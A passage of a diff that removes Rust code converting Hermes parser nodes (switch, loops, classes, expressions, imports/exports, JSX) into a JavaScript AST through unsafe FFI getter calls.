-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::SwitchStatement);
-        let range = convert_range(cx, node);
-        let discriminant = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_SwitchStatement_discriminant(node) },
-        );
-        let cases = convert_vec(
-            unsafe { hermes::parser::hermes_get_SwitchStatement_cases(node) },
-            |node| SwitchCase::convert(cx, node),
-        );
-        Self {
-            discriminant,
-            cases,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for SwitchCase {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::SwitchCase);
-        let range = convert_range(cx, node);
-        let test = convert_option(
-            unsafe { hermes::parser::hermes_get_SwitchCase_test(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let consequent = convert_vec(
-            unsafe { hermes::parser::hermes_get_SwitchCase_consequent(node) },
-            |node| Statement::convert(cx, node),
-        );
-        Self {
-            test,
-            consequent,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ThrowStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ThrowStatement);
-        let range = convert_range(cx, node);
-        let argument = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ThrowStatement_argument(node) },
-        );
-        Self {
-            argument,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for TryStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::TryStatement);
-        let range = convert_range(cx, node);
-        let block = BlockStatement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_TryStatement_block(node) },
-        );
-        let handler = convert_option(
-            unsafe { hermes::parser::hermes_get_TryStatement_handler(node) },
-            |node| CatchClause::convert(cx, node),
-        );
-        let finalizer = convert_option(
-            unsafe { hermes::parser::hermes_get_TryStatement_finalizer(node) },
-            |node| BlockStatement::convert(cx, node),
-        );
-        Self {
-            block,
-            handler,
-            finalizer,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for CatchClause {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::CatchClause);
-        let range = convert_range(cx, node);
-        let param = convert_option(
-            unsafe { hermes::parser::hermes_get_CatchClause_param(node) },
-            |node| Pattern::convert(cx, node),
-        );
-        let body = BlockStatement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_CatchClause_body(node) },
-        );
-        Self {
-            param,
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for WhileStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::WhileStatement);
-        let range = convert_range(cx, node);
-        let test = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_WhileStatement_test(node) },
-        );
-        let body = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_WhileStatement_body(node) },
-        );
-        Self {
-            test,
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for DoWhileStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::DoWhileStatement);
-        let range = convert_range(cx, node);
-        let body = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_DoWhileStatement_body(node) },
-        );
-        let test = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_DoWhileStatement_test(node) },
-        );
-        Self {
-            body,
-            test,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ForStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ForStatement);
-        let range = convert_range(cx, node);
-        let init = convert_option(
-            unsafe { hermes::parser::hermes_get_ForStatement_init(node) },
-            |node| ForInit::convert(cx, node),
-        );
-        let test = convert_option(
-            unsafe { hermes::parser::hermes_get_ForStatement_test(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let update = convert_option(
-            unsafe { hermes::parser::hermes_get_ForStatement_update(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let body = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ForStatement_body(node) },
-        );
-        Self {
-            init,
-            test,
-            update,
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ForInStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ForInStatement);
-        let range = convert_range(cx, node);
-        let left = ForInInit::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ForInStatement_left(node) },
-        );
-        let right = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ForInStatement_right(node) },
-        );
-        let body = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ForInStatement_body(node) },
-        );
-        Self {
-            left,
-            right,
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ForOfStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ForOfStatement);
-        let range = convert_range(cx, node);
-        let is_await = unsafe { hermes::parser::hermes_get_ForOfStatement_await(node) };
-        let left = ForInInit::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ForOfStatement_left(node) },
-        );
-        let right = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ForOfStatement_right(node) },
-        );
-        let body = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ForOfStatement_body(node) },
-        );
-        Self {
-            is_await,
-            left,
-            right,
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ClassBody {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ClassBody);
-        let range = convert_range(cx, node);
-        let body = convert_vec(
-            unsafe { hermes::parser::hermes_get_ClassBody_body(node) },
-            |node| ClassItem::convert(cx, node),
-        );
-        Self {
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for MethodDefinition {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::MethodDefinition);
-        let range = convert_range(cx, node);
-        let key = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_MethodDefinition_key(node) },
-        );
-        let value = FunctionExpression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_MethodDefinition_value(node) },
-        );
-        let kind = MethodKind::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_MethodDefinition_kind(node) },
-        );
-        let is_computed = unsafe {
-            hermes::parser::hermes_get_MethodDefinition_computed(node)
-        };
-        let is_static = unsafe {
-            hermes::parser::hermes_get_MethodDefinition_static(node)
-        };
-        Self {
-            key,
-            value,
-            kind,
-            is_computed,
-            is_static,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for VariableDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::VariableDeclaration);
-        let range = convert_range(cx, node);
-        let kind = VariableDeclarationKind::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_VariableDeclaration_kind(node) },
-        );
-        let declarations = convert_vec(
-            unsafe { hermes::parser::hermes_get_VariableDeclaration_declarations(node) },
-            |node| VariableDeclarator::convert(cx, node),
-        );
-        Self {
-            kind,
-            declarations,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for VariableDeclarator {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::VariableDeclarator);
-        let range = convert_range(cx, node);
-        let id = Pattern::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_VariableDeclarator_id(node) },
-        );
-        let init = convert_option(
-            unsafe { hermes::parser::hermes_get_VariableDeclarator_init(node) },
-            |node| Expression::convert(cx, node),
-        );
-        Self {
-            id,
-            init,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ThisExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ThisExpression);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ArrayExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ArrayExpression);
-        let range = convert_range(cx, node);
-        let elements = convert_array_expression_elements(
-            cx,
-            unsafe { hermes::parser::hermes_get_ArrayExpression_elements(node) },
-        );
-        Self {
-            elements,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ObjectExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ObjectExpression);
-        let range = convert_range(cx, node);
-        let properties = convert_vec(
-            unsafe { hermes::parser::hermes_get_ObjectExpression_properties(node) },
-            |node| PropertyOrSpreadElement::convert(cx, node),
-        );
-        Self {
-            properties,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for Property {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::Property);
-        let range = convert_range(cx, node);
-        let key = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_Property_key(node) },
-        );
-        let value = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_Property_value(node) },
-        );
-        let kind = PropertyKind::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_Property_kind(node) },
-        );
-        let is_method = unsafe { hermes::parser::hermes_get_Property_method(node) };
-        let is_shorthand = unsafe {
-            hermes::parser::hermes_get_Property_shorthand(node)
-        };
-        let is_computed = unsafe { hermes::parser::hermes_get_Property_computed(node) };
-        Self {
-            key,
-            value,
-            kind,
-            is_method,
-            is_shorthand,
-            is_computed,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for UnaryExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::UnaryExpression);
-        let range = convert_range(cx, node);
-        let operator = UnaryOperator::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_UnaryExpression_operator(node) },
-        );
-        let prefix = unsafe { hermes::parser::hermes_get_UnaryExpression_prefix(node) };
-        let argument = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_UnaryExpression_argument(node) },
-        );
-        Self {
-            operator,
-            prefix,
-            argument,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for UpdateExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::UpdateExpression);
-        let range = convert_range(cx, node);
-        let operator = UpdateOperator::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_UpdateExpression_operator(node) },
-        );
-        let argument = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_UpdateExpression_argument(node) },
-        );
-        let prefix = unsafe { hermes::parser::hermes_get_UpdateExpression_prefix(node) };
-        Self {
-            operator,
-            argument,
-            prefix,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for BinaryExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::BinaryExpression);
-        let range = convert_range(cx, node);
-        let left = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_BinaryExpression_left(node) },
-        );
-        let operator = BinaryOperator::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_BinaryExpression_operator(node) },
-        );
-        let right = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_BinaryExpression_right(node) },
-        );
-        Self {
-            left,
-            operator,
-            right,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for AssignmentExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::AssignmentExpression);
-        let range = convert_range(cx, node);
-        let operator = AssignmentOperator::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_AssignmentExpression_operator(node) },
-        );
-        let left = AssignmentTarget::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_AssignmentExpression_left(node) },
-        );
-        let right = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_AssignmentExpression_right(node) },
-        );
-        Self {
-            operator,
-            left,
-            right,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for LogicalExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::LogicalExpression);
-        let range = convert_range(cx, node);
-        let operator = LogicalOperator::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_LogicalExpression_operator(node) },
-        );
-        let left = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_LogicalExpression_left(node) },
-        );
-        let right = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_LogicalExpression_right(node) },
-        );
-        Self {
-            operator,
-            left,
-            right,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for MemberExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::MemberExpression);
-        let range = convert_range(cx, node);
-        let object = ExpressionOrSuper::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_MemberExpression_object(node) },
-        );
-        let property = ExpressionOrPrivateIdentifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_MemberExpression_property(node) },
-        );
-        let is_computed = unsafe {
-            hermes::parser::hermes_get_MemberExpression_computed(node)
-        };
-        Self {
-            object,
-            property,
-            is_computed,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ConditionalExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ConditionalExpression);
-        let range = convert_range(cx, node);
-        let test = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ConditionalExpression_test(node) },
-        );
-        let alternate = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ConditionalExpression_alternate(node) },
-        );
-        let consequent = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ConditionalExpression_consequent(node) },
-        );
-        Self {
-            test,
-            alternate,
-            consequent,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for CallExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::CallExpression);
-        let range = convert_range(cx, node);
-        let callee = ExpressionOrSuper::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_CallExpression_callee(node) },
-        );
-        let arguments = convert_vec(
-            unsafe { hermes::parser::hermes_get_CallExpression_arguments(node) },
-            |node| ExpressionOrSpread::convert(cx, node),
-        );
-        Self {
-            callee,
-            arguments,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for NewExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::NewExpression);
-        let range = convert_range(cx, node);
-        let callee = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_NewExpression_callee(node) },
-        );
-        let arguments = convert_vec(
-            unsafe { hermes::parser::hermes_get_NewExpression_arguments(node) },
-            |node| ExpressionOrSpread::convert(cx, node),
-        );
-        Self {
-            callee,
-            arguments,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for SequenceExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::SequenceExpression);
-        let range = convert_range(cx, node);
-        let expressions = convert_vec(
-            unsafe { hermes::parser::hermes_get_SequenceExpression_expressions(node) },
-            |node| Expression::convert(cx, node),
-        );
-        Self {
-            expressions,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for Super {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::Super);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for SpreadElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::SpreadElement);
-        let range = convert_range(cx, node);
-        let argument = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_SpreadElement_argument(node) },
-        );
-        Self {
-            argument,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for YieldExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::YieldExpression);
-        let range = convert_range(cx, node);
-        let argument = convert_option(
-            unsafe { hermes::parser::hermes_get_YieldExpression_argument(node) },
-            |node| Expression::convert(cx, node),
-        );
-        let is_delegate = unsafe {
-            hermes::parser::hermes_get_YieldExpression_delegate(node)
-        };
-        Self {
-            argument,
-            is_delegate,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ImportDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ImportDeclaration);
-        let range = convert_range(cx, node);
-        let specifiers = convert_vec(
-            unsafe { hermes::parser::hermes_get_ImportDeclaration_specifiers(node) },
-            |node| ImportDeclarationSpecifier::convert(cx, node),
-        );
-        let source = _Literal::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ImportDeclaration_source(node) },
-        );
-        Self {
-            specifiers,
-            source,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ImportSpecifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ImportSpecifier);
-        let range = convert_range(cx, node);
-        let imported = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ImportSpecifier_imported(node) },
-        );
-        let local = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ImportSpecifier_local(node) },
-        );
-        Self {
-            imported,
-            local,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ImportDefaultSpecifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ImportDefaultSpecifier);
-        let range = convert_range(cx, node);
-        let local = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ImportDefaultSpecifier_local(node) },
-        );
-        Self {
-            local,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ImportNamespaceSpecifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ImportNamespaceSpecifier);
-        let range = convert_range(cx, node);
-        let local = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ImportNamespaceSpecifier_local(node) },
-        );
-        Self {
-            local,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ExportNamedDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ExportNamedDeclaration);
-        let range = convert_range(cx, node);
-        let declaration = convert_option(
-            unsafe {
-                hermes::parser::hermes_get_ExportNamedDeclaration_declaration(node)
-            },
-            |node| Declaration::convert(cx, node),
-        );
-        let specifiers = convert_vec(
-            unsafe {
-                hermes::parser::hermes_get_ExportNamedDeclaration_specifiers(node)
-            },
-            |node| ExportSpecifier::convert(cx, node),
-        );
-        let source = convert_option(
-            unsafe { hermes::parser::hermes_get_ExportNamedDeclaration_source(node) },
-            |node| _Literal::convert(cx, node),
-        );
-        Self {
-            declaration,
-            specifiers,
-            source,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ExportSpecifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ExportSpecifier);
-        let range = convert_range(cx, node);
-        let exported = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ExportSpecifier_exported(node) },
-        );
-        Self {
-            exported,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ExportDefaultDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ExportDefaultDeclaration);
-        let range = convert_range(cx, node);
-        let declaration = DeclarationOrExpression::convert(
-            cx,
-            unsafe {
-                hermes::parser::hermes_get_ExportDefaultDeclaration_declaration(node)
-            },
-        );
-        Self {
-            declaration,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ExportAllDeclaration {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ExportAllDeclaration);
-        let range = convert_range(cx, node);
-        let source = _Literal::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ExportAllDeclaration_source(node) },
-        );
-        let exported = Default::default();
-        Self {
-            source,
-            exported,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXIdentifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXIdentifier);
-        let range = convert_range(cx, node);
-        let name = convert_string(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXIdentifier_name(node) },
-        );
-        let binding = Default::default();
-        Self {
-            name,
-            binding,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXNamespacedName {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXNamespacedName);
-        let range = convert_range(cx, node);
-        let namespace = JSXIdentifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXNamespacedName_namespace(node) },
-        );
-        let name = JSXIdentifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXNamespacedName_name(node) },
-        );
-        Self {
-            namespace,
-            name,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXMemberExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXMemberExpression);
-        let range = convert_range(cx, node);
-        let object = JSXMemberExpressionOrIdentifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXMemberExpression_object(node) },
-        );
-        let property = JSXIdentifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXMemberExpression_property(node) },
-        );
-        Self {
-            object,
-            property,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXEmptyExpression {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXEmptyExpression);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXExpressionContainer {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXExpressionContainer);
-        let range = convert_range(cx, node);
-        let expression = JSXExpressionOrEmpty::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXExpressionContainer_expression(node) },
-        );
-        Self {
-            expression,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXSpreadChild {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXSpreadChild);
-        let range = convert_range(cx, node);
-        let expression = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXSpreadChild_expression(node) },
-        );
-        Self {
-            expression,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXOpeningElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXOpeningElement);
-        let range = convert_range(cx, node);
-        let name = JSXElementName::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXOpeningElement_name(node) },
-        );
-        let attributes = convert_vec(
-            unsafe { hermes::parser::hermes_get_JSXOpeningElement_attributes(node) },
-            |node| JSXAttributeOrSpread::convert(cx, node),
-        );
-        let self_closing = unsafe {
-            hermes::parser::hermes_get_JSXOpeningElement_selfClosing(node)
-        };
-        Self {
-            name,
-            attributes,
-            self_closing,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXClosingElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXClosingElement);
-        let range = convert_range(cx, node);
-        let name = JSXElementName::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXClosingElement_name(node) },
-        );
-        Self {
-            name,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXAttribute {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXAttribute);
-        let range = convert_range(cx, node);
-        let name = JSXIdentifierOrNamespacedName::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXAttribute_name(node) },
-        );
-        let value = convert_option(
-            unsafe { hermes::parser::hermes_get_JSXAttribute_value(node) },
-            |node| JSXAttributeValue::convert(cx, node),
-        );
-        Self {
-            name,
-            value,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXSpreadAttribute {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXSpreadAttribute);
-        let range = convert_range(cx, node);
-        let argument = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXSpreadAttribute_argument(node) },
-        );
-        Self {
-            argument,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXText {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXText);
-        let range = convert_range(cx, node);
-        let value = convert_string_value(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXText_value(node) },
-        );
-        let raw = convert_string(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXText_raw(node) },
-        );
-        Self {
-            value,
-            raw,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXStringLiteral {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXStringLiteral);
-        let range = convert_range(cx, node);
-        let value = convert_string_value(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXStringLiteral_value(node) },
-        );
-        let raw = convert_string(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXStringLiteral_raw(node) },
-        );
-        Self {
-            value,
-            raw,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXElement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXElement);
-        let range = convert_range(cx, node);
-        let opening_element = JSXOpeningElement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXElement_openingElement(node) },
-        );
-        let children = convert_vec(
-            unsafe { hermes::parser::hermes_get_JSXElement_children(node) },
-            |node| JSXChildItem::convert(cx, node),
-        );
-        let closing_element = convert_option(
-            unsafe { hermes::parser::hermes_get_JSXElement_closingElement(node) },
-            |node| JSXClosingElement::convert(cx, node),
-        );
-        Self {
-            opening_element,
-            children,
-            closing_element,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for JSXFragment {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::JSXFragment);
-        let range = convert_range(cx, node);
-        let opening_fragment = JSXOpeningFragment::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_JSXFragment_openingFragment(node) },
-        );
